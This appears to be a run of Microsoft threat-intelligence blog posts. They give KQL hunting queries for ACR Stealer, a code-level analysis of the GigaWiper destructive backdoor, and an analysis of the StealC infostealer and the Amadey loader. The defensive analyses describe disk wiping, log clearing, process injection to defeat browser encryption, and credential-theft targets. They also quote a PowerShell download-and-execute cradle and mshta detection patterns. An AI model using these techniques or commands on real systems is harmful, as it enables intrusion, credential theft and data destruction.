| where ProcessCommandLine has_all ("schtasks", " /run /tn ", " Autoupdate ") and ProcessCommandLine matches regex "[0-9]{8}"

Run the query below to identify suspicious MSHTA launch through PowerShell

DeviceProcessEvents
| where InitiatingProcessParentFileName has "explorer.exe"
| where InitiatingProcessFileName =~ "powershell.exe" and InitiatingProcessCommandLine in~ ('"PowerShell.exe" ', '"PowerShell.exe"')
| where ProcessCommandLine has_all ('"mshta.exe" https://') and ProcessCommandLine matches regex "/[0-9]{7}"

MITRE ATT&CK techniques observed

The following mapping summarizes the primary tactics and techniques observed across the two ACR Stealer intrusion chains. The mapping is intended to help defenders align observed behaviors with existing detection coverage, response playbooks, and hunting priorities.

Indicators of compromise (IOC)

References

• Intelligence Insights: May 2026 | Red Canary
• Possible ACR Stealer From Page Impersonating Claude

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  

The post ACR Stealer: Two observed intrusion chains amid increased threat activity appeared first on Microsoft Security Blog.

In October 2025, Microsoft Threat Intelligence identified destructive wiping activity and uncovered a sophisticated Go programming language (Golang)-based backdoor we now track as GigaWiper, a versatile implant that combines robust command-and-control (C2) capabilities with multiple destructive payloads, including disk wiping, fake ransomware, and system-level sabotage.

GigaWiper is particularly notable for its makeup. It’s not a single, purpose-built tool, but an amalgamation of separate malware families that were folded into GigaWiper as on-demand backdoor commands, giving threat actors the flexibility to choose their mode of destruction:

• A standalone wiper that operates at the physical disk level, overwriting raw disk content and removing partition metadata.
• A destructive command that derives from Crucio ransomware and encrypts files with randomly generated keys that are never saved, making decryption impossible.
• A wiping command that reimplements the logic of FlockWiper, a C-based malware reimplemented in Golang with additional multi-pass secure wiping.

The consolidation of multiple destructive capabilities into a modular backdoor reflects a notable shift in wiper malware, which are typically designed purely to destroy rather than to extort and carry real-world consequences. GigaWiper exemplifies threat actors investing in operational efficiency, merging standalone tools into unified platforms that reduce their deployment footprint while expanding their destructive capabilities. GigaWiper is tracked by Google Threat Intelligence Group (GTIG) and Binary Defense as BLUERABBIT.

In this blog, we provide a code-level analysis of GigaWiper’s architecture. We’re sharing these findings, along with Microsoft Defender detections and mitigation recommendations, to enable organizations and the security community to investigate and defend against GigaWiper and similar destructive threats.

A wiper inside a backdoor

Beginning in October 2025, Microsoft Threat Intelligence started observing compromised environments being wiped with destructive tooling. Looking closely at the intrusions, we observed two types of GigaWiper samples:

• Standalone wiper binaries
• Larger binaries with robust backdoor functionality

Both sample types are unstripped portable executable (PE) files written in Golang. Comparing the two samples showed that the standalone wiper’s code is fully embedded inside the backdoor as one of the commands.

The standalone wiper binary

The standalone wiper is an unstripped PE written in Golang. Instead of deleting individual files, it wipes at the physical disk level. It identifies physical drives, determines which drive contains the Windows installation, removes partition references from other drives, overwrites raw disk content, and then reboots the system.

The wiper starts by enumerating physical disks through Windows Management Instrumentation (WMI) using the following query, giving it the device identifiers and disk metadata it needs before deciding how to handle each drive:

The malware then calls main.FindWindowsDrive to determine which physical disk contains the Windows installation (for example, \\.\PHYSICALDRIVE0). With that drive identified, it iterates the remaining disk list and calls main.unallocateDrive on each non-Windows drive to remove their partition references. This is achieved with DeviceIoControl and IOCTL_DISK_CREATE_DISK, which reinitializes the disk’s partitioning metadata and effectively wipes the existing partition table entries. If successful, the malware prints to the console “Partitions removed successfully.”

Next, it proceeds to wipe each drive. It calls main.writeRandToDrive to overwrite each drive in chunks of size 0xA00000. The first byte of each buffer is randomized with crypto/rand.Read, while the rest is filled with zeros. If random generation fails, it uses the byte value “1” instead. This pattern might be intended to avoid detections or mitigations that look for conspicuous full-disk zeroing behavior.

After it finishes wiping the drives, the malware forces an immediate reboot by invoking Windows shutdown functionality with restart and zero-delay options.

The wiper binary as a backdoor command

Next, we analyzed the larger backdoor. The same wiper functionality is also present as one component of the backdoor. The code flow and function names in the larger backdoor are identical to those of the standalone wiper, with the wiper’s main.main routine implemented in the backdoor as the rabbit_tools_tool_wipe_main.WipeMain function.

Backdoor capabilities

With the wiper routine overlap established, this section focuses on the backdoor’s additional capabilities. Beyond destructive functionality, the backdoor sets persistence and implements C2 communication over RabbitMQ and Redis. In analyzing these backdoor capabilities, we discovered that some backdoor commands contain code from additional malware families.

Persistence

The backdoor creates and uses the registry key HKCU\SOFTWARE\OneDrive\Environment to track its execution count. If the key is absent on the system, the malware determines that it’s running on the system for the first time and proceeds to create the key, setting it to “0”. It then creates a new scheduled task named OneDrive Update by running the following command before printing “Task created. Original process exiting.” and exiting the process. The scheduled task is configured to essentially run every minute in addition to running once on system startup.

In subsequent executions, when the registry key exists and is greater than “0”, the malware increments it,  determines that it is running as a scheduled task (prints “Running from Task Scheduler…”), and continues execution normally.

Communication

GigaWiper uses two modes of communication:

• RabbitMQ over AMQP for receiving commands from the C2 server
• Redis server for updating command status and output

The malware decrypts a hard-coded configuration using AES with a hard-coded key. For example, one observed sample uses 185.182.193[.]21:5544 as a RabbitMQ C2 server, and 185.182.193[.]21:7542 for a Redis server, where it uploads results. The configuration also specifies the credentials to use to connect to the RabbitMQ and Redis servers.

To receive commands from the RabbitMQ C2 server, the malware declares a queue and binds it to a fanout exchange named “All”. Because “All” is a fanout exchange, any command published to it is broadcast to every bound queue across infected clients. To enable targeted commands, the malware also declares a topic exchange named “Topic”.  The backdoor binds the queue to “Topic” when the actor issues command 8 (See Commands section) and provides a routing key.

Each command sent by the C2 server is a cmd.Task structure with the following fields:

• task_id
• command_code
• args

To update the Redis server with command status and output, the malware sends it a cmd.Result struct with the following fields:

• error
• target_ip
• task_id
• target_computer_name
• output
• pwd
• time
• status
• work_status

Commands

GigaWiper logs several types of commands using specific categories:

• “always run command” – Commands that are meant to run continuously (like screen recording)
• “manage command” – Commands used to manage things on the system like services or the Registry
• “special command” / “shell command” – Modes of command 7

Each command is represented by a numeric command code from 1 to 20:

Command 1: Calls WipeMain, which is identical to the standalone wiper described in the last section

Command 2: Triggers a Blue screen error (BSOD) and prevents the device from booting

This is achieved by running a sequence of hard-coded destructive commands that disable Windows recovery, take ownership, and grant permissions to critical boot and kernel files before deleting them.

Command 3: Calls RanMain and BigBangExtortMain to trigger a file encryption process that imitates ransomware

The key and initialization vector (IV) that the malware uses to encrypt files are random and are not saved anywhere. The malware reads and encrypts each file, excluding files with extensions like .exe and .dll that are critical for the system to load. Each file is read and AES-CBC encrypted in chunks before being deleted with os.Remove. The file is renamed with the .candy extension.

It drops the following hard-coded image to ./image_danger.jpg and sets it as the wallpaper:

Command 4: Uses MinIO Client (mc) to upload a file to a remote storage

The path to the MinIO client to use is supplied in the command arguments alongside additional settings:

• IPandPort
• AliasName
• Username
• Password
• BucketName
• SourcePath
• MCPath – The path to MinIO Client (mc.exe) to use

Command 5: File encryption utility

This command bulk encrypts or decrypts files with AES-256 in Cipher Block Chaining (CBC) mode. The following are the command arguments:

• key
• iv
• path – The path to encrypt/decrypt (either a directory or a file)
• key_file
• enc – A mode that specifies whether to perform encryption or decryption

The server can specify a key and IV in the arguments. If in encryption mode but no key or IV were provided, the malware generates a random key and IV and stores them in key.txt.

If in decryption mode, the malware first tries to read the key and IV from the provided key file. If it was not provided, the malware attempts to use the key and IV sent as arguments.

Interestingly, the error message shows a glimpse of what running this command might look like from the actor side:

Key/IV required. Use -k/-i or –keyfile

Command 6: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“6”]

We have not seen this structure populated in the binary. The logging message “Exec cmd wipe-file” suggests that this is meant to contain wiper functionality.

Command 7: This command has two types:

Type: shell command – Command for running PowerShell commands. The malware appends ;”|?????|$pwd” to the command. This causes the output of each command to include |?????|, followed by the current working directory. Then, the malware calls os.Chdir to change the working directory to the path output by $pwd, so the next command runs in that same folder.

Type: special command – When command 7 is run with one of the following arguments, it is considered a “special command” and handled as follows:

• purge_cmd_queue: Empties the queue of shell commands, then stops the process run by command 7 “shell command” if it exists
• purge_queue: Empties the queue of normal commands, then stops the process run by commands 6 or 13 if it exists (those are two of the “always run” commands)
• pwd: Sets a global flag to indicate the working status, which is sent to the server in shell command 7, and then proceeds to run pwd using shell command 7.

Command 8: RabbitMQ route manager; allows binding the queue to the “Topic” exchange to receive targeted, non-broadcast commands (Type: manage command)

This command receives a mode of operation (1/2/3), followed by a list of routing keys as arguments:

• Mode 1 – Binds each provided routing key
• Mode 2 – Unbinds each provided routing key
• Mode 3 – Pairs update mode: for each old,new pair, unbinds the old key then binds the new one

Command 9: Takes one screenshot per active monitor/display

The malware saves each screenshot to a PNG file in .\<timestamp\<monitor_index>.png (for example .\2026-06-10_12-30-00\0.png).

Command 10: Records the screen when the user is not idle (10s) and the system is unlocked(Type: always run command)

Recordings are saved in the folder C:\ProgramData\output.

Command 11: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“11”] (Type: always run) command

We have not seen this structure populated in the binary. The logging message “Exec cmd keylog” suggests that this is meant to be a keylogger functionality.

Command 12: Calls WipeCMain to wipe the system

This command is like command 1 (WipeMain), but with a few important differences:

• It only wipes the drive with the Windows installation. Usually it is the C drive, hence the name WipeCMain.
• It performs secure wiping: It wipes the drive with multiple passes, each time overwriting it with different bytes (0s, 0xFF, random bytes…), and prints status messages between passes:
  • Pass 1 Time took: %s\n
  • Pass 2 Time took: %s\n
  • Pass 3 Time took: %s\n
  • …

Command 13: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“13”]

The logging message “Exec cmd wipe32” suggests that this is meant to be another wiper binary. It is run as admin using the command:

Command 14: (not implemented)

Command 15: Collects system info by calling the function GRATClientInfo (Type: manage command)

The command arguments control the amount of info collected:

• long
• short

Collected system info includes:

• IP address
• Machine GUID
• CPU information
• OS information
• Network configuration
• Firmware
• User information
• Antivirus software information, collected by running the following command:

Command 16: Process manager (Type: manage command)

Arguments specify the process and operation to perform:

• process_name
• process_path
• process_id
• process_operation – Performs one of the operations below:
  • createProcess
  • resumeProcess
  • suspendProcess
  • exit (does nothing, returns empty response)
  • list
  • killProcess
  • processInfo – Returns the info below:
    • process_name
    • process_user_name
    • process_id
    • process_thread_count
    • process_memory_info
    • process_exe_path
    • process_status
    • process_error

Command 17: Service manager (Type: manage command)

This command is similar to the other manage commands, but for services. It has the following arguments:

• service_name
• service_display_name
• service_exe_path
• service_operation
  • create
  • delete
  • restart
  • query
  • start
  • list
  • stop

Command 18: Registry manager (Type: manage command)

On first execution, the malware runs rabbit_bin.RunOnceRegistryMain.gowrap1 in the background as a goroutine. On subsequent executions, the routine receives and returns input and output through Go channels. From there, it operates almost like an interactive session, persisting its position in the Registry between requests, and allowing the following operations (arguments):

• registry_root_key
• registry_key_path
• registry_key_name
• registry_value_entities
• registry_operation
  • show – Enumerates current key, subkeys, and values
  • navigate – Change current position to a new key and send its contents
  • back – Go up one level from current key
  • exit – Exits the current session
  • createKey
  • deleteKey
  • deleteValue
  • setValue

Command 19: Clears Windows event logs

First, the malware ensures that it’s running with Administrator privileges. Next, it deletes the System, Setup, Application, and ForwardedEvents event logs by running the following command for each:

Then, for unknown reasons, it prints the hard-coded string “kharbvnmhkjbkjb”.

Finally, it attempts to delete the Security event logs using wevutil.exe. If it fails, it prints the message “Failed to clear Security with wevtutil. Attempting manual removal…” and attempts to directly delete the log file C:\Windows\System32\winevt\Logs\Security.evtx.

Command 20: Starts a server so the attackers can remotely control the system in a VNC-like manner; allows keyboard and mouse control and streams the screen to the attackers (Type: always run command)

This occurs over TCP with the port provided as a command argument. The malware first deletes the existing firewall rule if it exists. The rule name impersonates legitimate Windows firewall rule names:

Finally, the malware creates rules with that name to allow inbound and outbound traffic to its own program over a port provided in the command arguments. The following command is run once with Inbound then with Outbound:

How GigaWiper was assembled

The standalone wiper, implemented as command 1, is only one part of the interesting anatomy of GigaWiper.

The backdoor contains code for two additional wiping commands: command 3, implemented as rabbit_tools_tool_ran_main_cmd_extort.RanMain, and command 12, implemented as rabbit_tools_tool_wipec_main.WipeCMain. Further analysis showed that, like the standalone wiper, these originated from two separate, older malware families previously used by the same threat actor.

In other words, the GigaWiper backdoor is an amalgamation of at least three standalone malware families, stitched together as commands within a single implant, and combined with new backdoor functionality.

RanMain and BigBangExtortMain

As mentioned, command 3 is handled by rabbit_tools_tool_ran_main_cmd_extort.RanMain, which calls rabbit_tools_tool_ran_main_bin.BigBangExtortMain to encrypt the files on the victim system and rename them with the .candy extension. This is a wiper disguised as ransomware. The key and IV are randomly generated but not saved anywhere, and no ransom note is dropped. As a result, the actor has neither the ability nor, apparently, the intent to ever decrypt the files.

The function BigBangExtortMain is notable. A function with the same name was used in the Crucio ransomware, which was documented in a Cybersecurity and Infrastructure Security Agency (CISA) advisory published in December 2023. GigaWiper backdoor command 3 is heavily based on Crucio’s code, leading to the assessment that the same threat actor developed both malware families.

WipeCMain

Command 12 represents the third wiper family that was incorporated into the GigaWiper backdoor. This command is handled by rabbit_tools_tool_wipec_main.WipeCMain. It is very similar to command 1, WipeMain, except that it wipes only the Windows installation drive, and performs more secure wiping with multiple passes.

Our research revealed that WipeCMain is essentially identical to the standalone wiper that Microsoft tracks as FlockWiper. While FlockWiper was written in C, its logic appears to have been reimplemented in Golang within GigaWiper. In essence, the two variants follow the same core execution flow, and many of the strings are identical, though the GigaWiper implementation appears to be a more updated version. FlockWiper was first uploaded to VirusTotal in June 2025, months before GigaWiper was first observed in the wild.

Another notable detail is that the observed FlockWiper samples contain program database (PDB) paths referencing “GRAT”:

• A:\GRAT\CWipeNew\Release\CWipeNew.pdb
• E:\files\new\GRAT\CWipe\Release\CWipe.pdb

The name “GRAT” is also prevalent in several function names within the GigaWiper backdoor. Although the FlockWiper binaries do not include “GRAT” functionality, the PDB paths provide another link between the two malware families.

Conclusion: Multiple destructive capabilities consolidated into a single implant

GigaWiper is a backdoor with extensive operational capabilities that allow a threat actor to maintain control over infected systems, execute commands, deploy additional tooling, and ultimately trigger one of multiple destructive commands on demand. It allows the threat actor to operate with flexibility, enabling both quiet espionage activity and destructive wiping operations.

Our research reveals that GigaWiper was created by combining and reimplementing components from at least three previously separate malware families. This includes the wiping functionality, and the file-encrypting ransomware that leaves no way to decrypt the files.

We tied GigaWiper to both Crucio and FlockWiper based on code analysis, shared execution flow, function naming, and unique strings. Crucio’s code was the base for GigaWiper command 3, and FlockWiper was recoded in Golang and updated for GigaWiper command 12. In addition, the references of “GRAT” in both the FlockWiper PDB paths and GigaWiper function names provide an additional link between these tools, and suggests the possible existence of another related component or framework that has not yet been recovered.

Overall, these findings show the evolution of the actor’s tooling over time. Functionality was merged into a single robust backdoor, granting the actor more ways to control and destroy infected systems.

Defending against destructive threats

To harden networks against GigaWiper, defenders can implement the following mitigation steps:

• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Block direct access to known C2 infrastructure where possible, informed by your organization’s threat intelligence sources.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Microsoft Defender XDR customers can also implement the following attack surface reduction rules to harden an environment against techniques used by threat actors:
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: GigaWiper

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

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The post GigaWiper: Anatomy of a destructive backdoor assembled from multiple malware appeared first on Microsoft Security Blog.

Infostealers continue to be some of the most pervasive and impactful threats across the cybercrime ecosystem. They play a central role in intrusions, silently harvesting passwords, cookies, and session tokens before exfiltrating stolen data to attacker-controlled infrastructure. If not mitigated, these threats can turn a single consumer-device compromise into an enterprise risk: an infostealer infection on an employee’s personal device could yield corporate virtual private network (VPN) credentials, single sign-on (SSO) tokens, and session cookies that could allow an attacker to bypass multifactor authentication (MFA).  

In the cybercriminal ecosystem, infostealer families like StealC and malware delivery services like Amadey are sold and rented as commodities. Stolen data flows through an underground economy of access brokers that feeds ransomware and other operations. Because the initial infection usually happens outside managed endpoints, defenders might see the breach only after valid credentials are abused, underscoring the importance of identity protection, credential hygiene, and rapid response. 

In this blog, we examine how the infostealer economy has grown into a major threat to enterprise security, with a focus on StealC and Amadey. StealC is an infostealer that collects sensitive data from browsers, cryptocurrency wallets, messaging applications, email clients, and gaming platforms. It is a malware-as-a-service (MaaS) offering that threat actors use to generate customized payloads and manage stolen data through a centralized web panel. Meanwhile, Amadey is a MaaS loader that threat actors use to deliver StealC and other malware. Modular, pay-as-you-go models like StealC and Amadey allow threat actors to use a single initial infection to quickly escalate into multiple other threats.

On June 24, 2026, Microsoft’s Digital Crimes Unit (DCU), working with Europol and industry partners, announced a coordinated disruption action resulting in the takedown, suspension, and blocking of domains and command-and-control (C2) servers that formed the backbone of StealC and Amadey infrastructure. In total, DCU identified over 200 malicious Amadey and StealC command-and-control domains and IPs and moved to shut them down through a mix of court orders, domain seizures, registrations, and provider notifications.As part of this disruption, DCU engineered tools, including the use of Microsoft Copilot, to analyze StealC and Amadey binaries efficiently. These efforts included creating a prompt agent for performing comprehensive analysis of functions, using prompt engineering to generate a Python script for string decryption and extraction of configuration parameters, using Copilot to analyze disassembled malware code and identify C2 servers hardcoded into the malware binaries, and writing software with assistance from Copilot to confirm C2 activity.

The role of infostealers: From credential theft to intrusion

Infostealers like StealC, Lumma Stealer, RedLine, Raccoon, and Vidar enable division of labor across the cybercriminal ecosystem: initial operators deploy the malware at scale, and access brokers validate and monetize the stolen credentials, then resell them at a premium to threat actors seeking a foothold into enterprise environments.

When successfully deployed and executed, information-stealing malware can harvest credentials (usernames, passwords, and session cookies) from infected environments and export them as logs to the attackers’ server. These logs can hold credentials and tokens present on the compromised device, including corporate VPN, email, cloud, and SSO accounts. Stolen corporate credentials are extremely valuable, because a single working account can unlock many enterprise systems at once, especially if MFA could be bypassed using stolen session cookies. 

How an infostealer attack unfolds

While individual families differ in their tradecraft, infostealer-enabled intrusions follow a remarkably consistent path from delivery to impact. The infection chain could begin on an unmanaged or lightly protected device and end, often weeks later, inside a corporate environment, using credentials that look entirely legitimate.

Infostealer operators favor delivery techniques that scale and rely on ordinary user behavior rather than software vulnerabilities. The most common is deceptive web traffic: search engine optimization (SEO) poisoning and malicious advertising push fake or trojanized versions of popular software, “cracked” applications, and game cheats to the top of search results. A user looking for a free utility downloads a working program bundled with a stealer. A fast-growing variant is the ClickFix technique, in which a website tricks users into pasting a command into the Windows Run dialog or terminal, unknowingly executing the attacker’s script themselves, sidestepping many download-based defenses. Phishing email remains a reliable delivery path as well, particularly for campaigns that target specific organizations or individuals.

Lastly, infostealers are frequently delivered by other malware. Loaders like Amadey, upon establishing a foothold, deploy a stealer, a banking trojan, or additional tooling on demand. Once the loader unpacks the infostealer in memory and evades detection, the infostealer harvests target data. After exfiltrating stolen data, the malware typically deletes itself to hinder investigation. As we discuss in the next section, stolen credentials and tokens rarely stay with the original operator. These are packaged into logs and sold, validated by intermediaries, and eventually monetized as enterprise access, enabling account takeover, fraud, and ransomware.

How stolen credentials are monetized

Once exfiltrated, infostealer logs are rapidly monetized. Within hours, credentials from infected devices often appear on dark web markets or Telegram channels for USD $10-50 per log, while premium logs (with bank or corporate accounts) fetch higher prices, up to $100+ each. However, recent analysis by researchers at Reliaquest shows that Russian markets selling logs as low as $2 per log. These “breach packages” might be purchased in bulk by initial access brokers, specialized intermediaries who test and resell network access.

Alternatively, the operators who originally stole the logs themselves might directly exploit the high-value credentials without involving an access broker or buyer. For example, some ransomware groups deploy infostealers and then use the captured credentials to get inside target networks. The timeline for stolen infostealer credentials turning into enterprise breaches varies widely. Some intrusions occur within 48–72 hours of credentials being stolen, while other stolen credentials could sit dormant for months before they’re used by an attacker.

Infostealer infections often occur outside managed networks, for example, an employee’s home PC where corporate security monitoring is absent. The stolen sign-in reuse might not raise immediate alarms because attackers authenticate with legitimate credentials, even bypassing MFA if they have a session cookie. As a result, many compromised organizations only discover malicious activity after the attacker has taken action (for example, ransomware deployment or a large-scale data exfiltration event). This stealthy progression could make infostealer-driven intrusions a challenge to detect in time.

StealC: Infostealer for rent

StealC is representative of the modern malware-as-a-service stealer: threat actors rent access to a StealC builder to produce customized samples and a web panel to manage stolen data. This model keeps the barrier to entry low and the volume of distinct samples high. StealC is written in C++. Upon execution, it fingerprints the compromised system, collects saved credentials and cookies from a wide range of browsers, targets cryptocurrency wallets and messaging applications, captures data from email clients, steals Steam session data, takes screenshots of desktop, and exfiltrates credentials to its C2 server.

The malware also functions as a secondary loader, capable of downloading and executing additional payloads (.exe, MSI, or PowerShell scripts) on command from the C2. After completing its tasks, the malware can optionally self-delete to reduce forensic evidence. In addition, StealC queries the system’s default language and runs a language check, terminating itself if the locale matches Russian, Ukrainian, Belarusian, Kazakh, or Uzbek.

The malware attempts to create a Windows event using the victim ID as the event name. The victim ID format is <computer name>_<username>. If the event already exists, the malware enters a polling loop at intervals of less than five seconds (varies across variants) until the previous instance of itself completes. This is to avoid having multiple running instances on the device. StealC also contains an embedded expiration date. It compares the current system time against this expiration date and skips all malicious activity if the sample has expired.

C2 registration and configuration

StealC first sends a registration request to the C2 panel and constructs an HTTP POST request containing:

• Request type: create
• System hardware ID
• Malware build ID

This payload is RC4-encrypted using a hard-coded key, Base64-encoded, and then sent to the C2 through HTTP POST request. The decrypted C2 response is parsed as a JSON configuration object containing the following information:

• An access token used to authenticate all subsequent requests from the malware
• A list of browser stealing targets (paths, browser types, methods and types, which data to extract)
• A list of file-grabbing rules (target directories, file masks, size limits, recursion depth)
• Configuration flags controlling optional modules, including screenshot capture (take_screenshot), loader execution (loader), Steam theft (steal_steam), Outlook theft (steal_outlook), Foxmail theft (steal_foxmail), WinSCP theft (steal_winscp), and self-deletion (self_delete)

If this registration with C2 fails, the malware self-terminates immediately.

StealC performs a comprehensive collection of system information that is exfiltrated to the C2:

• Network information: IP address and country
• System identifiers: HWID, OS version and build number, system architecture
• User context: Username, computer name, running executable path
• Locale data: Local time, UTC offset, system language, installed keyboard layouts
• Hardware profile: CPU model, core and thread count, total RAM, battery/laptop detection
• Display configuration: Virtual screen resolution, monitor details (device name, adapter string, resolution, color depth)
• GPU information: Graphics adapter details
• Running processes: Full process list with names and PIDs enumerated through toolhelp snapshots
• Installed software: Application names and versions from the Uninstall registry keys for both all-users and current-user hives

Browser credential stealing

For Chromium browsers (like Chrome, Edge, Brave, Opera, Vivaldi, and others), the malware resolves the browser’s profile directory under %APPDATA% or %LOCALAPPDATA% and targets the following data stores:

• Sign-in data: saved user names and passwords
• Cookies: session cookies
• Web data: autofill entries and saved credit card information
• History: browsing history
• Local extension settings/Sync extension settings/IndexedDB: browser extension data (including cryptocurrency wallet extensions)

To defeat Chromium’s App-Bound Encryption (ABE), StealC does not decrypt these browser secrets within its own process. Instead, it carries an embedded payload (approximately 165 KB) that it injects into a sacrificial suspended process and executes through an asynchronous procedure call (APC). The injection sequence is as follows:

1. Spawns the target process with CreateProcessA using the CREATE_SUSPENDED flag
2. Allocates executable memory in the remote process with VirtualAllocEx (MEM_COMMIT, PAGE_EXECUTE_READWRITE).
3. Writes the embedded payload into that memory with WriteProcessMemory.
4. Queues the payload to the suspended thread with QueueUserAPC, then calls ResumeThread, so the APC fires and the payload runs in the process context
5. Waits for the injected code to finish with WaitForSingleObject, then frees the memory and closes the handles

Running in the target process context, the injected module performs the in-process decryption and writes the cleartext result to an inter process communication (IPC) file at C:\ProgramData\<HWID>.txt, where <HWID> is the victim hardware identifier. StealC then reads back up to 511 bytes of decrypted output from that file, processes the result, and deletes the temporary file. The routine retries the injection up to three times if it does not succeed.

The decrypted credential data is formatted as plaintext entries with fields for URL, login, and password, and is then exfiltrated to C2. For Firefox and other Gecko-based browsers (like Thunderbird, Waterfox, and others), the malware locates the profiles.ini to identify active browser profiles, then extracts data from the following:

• logins.json: stored credentials (hostname, encrypted user name, encrypted password)
• cookies.sqlite: session cookies
• formhistory.sqlite: form autofill data
• places.sqlite: browsing history and bookmarks

Additional credential theft activity

Beyond web browsers, StealC targets credentials saved by several desktop applications, processing each module in order and sending the results to the C2 as it completes them.

StealC enumerates Microsoft Outlook email account profiles stored in the registry under HKCU\Software\Microsoft\Office\<version>\Outlook\Profiles and HKCU\Software\Microsoft\Windows Messaging Subsystem\Profiles. It reads the account values for each profile, including the server settings and user names, and recovers the saved account passwords from their stored encrypted form so that mail server credentials (IMAP, POP3, and SMTP) could be exfiltrated.

The malware also targets the Foxmail email client. It locates the Foxmail data directory and parses account storage files (for example, the Accounts records under each account’s Storage folder). It then extracts the configured email addresses, server details, and saved passwords, decrypting Foxmail’s proprietary password encoding to recover the credentials in plaintext.

For the WinSCP File Transfer Protocol (FTP) and SSH FTP (SFTP) client, the malware collects saved session credentials from either the registry key HKCU\Software\Martin Prikryl\WinSCP 2\Sessions or, when portable storage is used, the WinSCP.ini file. For each session, it recovers the host name, user name, and password, reversing WinSCP’s custom password obfuscation so the stored credentials could be exfiltrated.

To perform file grabbing, the malware processes a list of rules received from the C2. Each rule specifies a target directory, file mask patterns, recursion depth, and optional size limits. The grabber uses recursive directory enumeration to walk the target path. Selected files are copied to a staging directory under C:\ProgramData and read into memory to be exfiltrated to C2. The temporary copy is then deleted.

If enabled in the C2 configuration, the malware specifically targets the Steam gaming application. First, it retrieves the Steam path from the registry key HKCU\SOFTWARE\Valve\Steam and then navigates to the configuration subdirectory inside and collects the following files:

• ssfn*
• config.vdf
• DialogConfig.vdf
• DialogConfigOverlay*.vdf
• libraryfolders.vdf
• loginusers.vdf

If enabled by the C2 configuration, the malware can also capture a full screenshot of the victim’s desktop using the following operations:

1. Obtains the virtual screen dimensions (spanning all monitors)
2. Performs a screen capture using a device context and bit-block transfer
3. Encodes the captured bitmap as a JPEG image at 90% quality
4. Exfiltrates the result

After data collection is complete, the malware contacts the C2 again with request type loaderwhile authenticating with the previously received access token. The C2 responds with a list of payloads to download and execute. The following three execution methods are supported:

• EXE execution: Downloads a file, saves it with an .exeextension, and executes the payload
• PowerShell cradle: Constructs a download-and-execute command (iwr <URL> |iex) and launches it through PowerShell
• MSI installation: Downloads a file, saves it with an .msi extension, and installs it silently through msiexec.exe /i “<path>” /passive

After all stealing modules have finished, the malware sends a final done notification to the C2 panel, including the access token. This signals to the operator that data collection for the compromised device is complete. All stolen data, such as system information, browser credentials, grabbed files, and screenshots, are transmitted in individual POST requests throughout the execution flow, each being RC4-encrypted and Base64-encoded. If the self-delete flag is set in the C2 configuration, the malware removes itself from disk as its final operation by executing the following command:

Amadey: Malware-as-a-service for delivery of infostealers

Active since at least 2018, Amadey operates as a malware-as-a-service (MaaS) that has been used as a delivery mechanism for downstream malware such as StealC, Lumma Stealer, remote access trojans (RATs), crypto miners, and, in some cases, ransomware.

In December of 2025, researchers at Trellix reported threat actors using the Amadey loader to retrieve the StealC infostealer from a compromised self-hosted GitLab instance, rather than from more familiar public hosting like GitHub. The point of that approach was to make the delivery infrastructure look more legitimate by using a long-established domain with valid TLS certificates, which can help the activity blend in and evade some traditional defenses.

This attack chain began with the first-stage Amadey loader. Once executed, the loader created a mutex to prevent duplication, performed discovery actions, and began communicating with its C2 server. Follow-on activities included the execution of additional components including a clipper plugin, use of PowerShell to expand archived payloads, deployment of additional payloads, and the execution of StealC, which communicated with its own separate C2 infrastructure after execution.

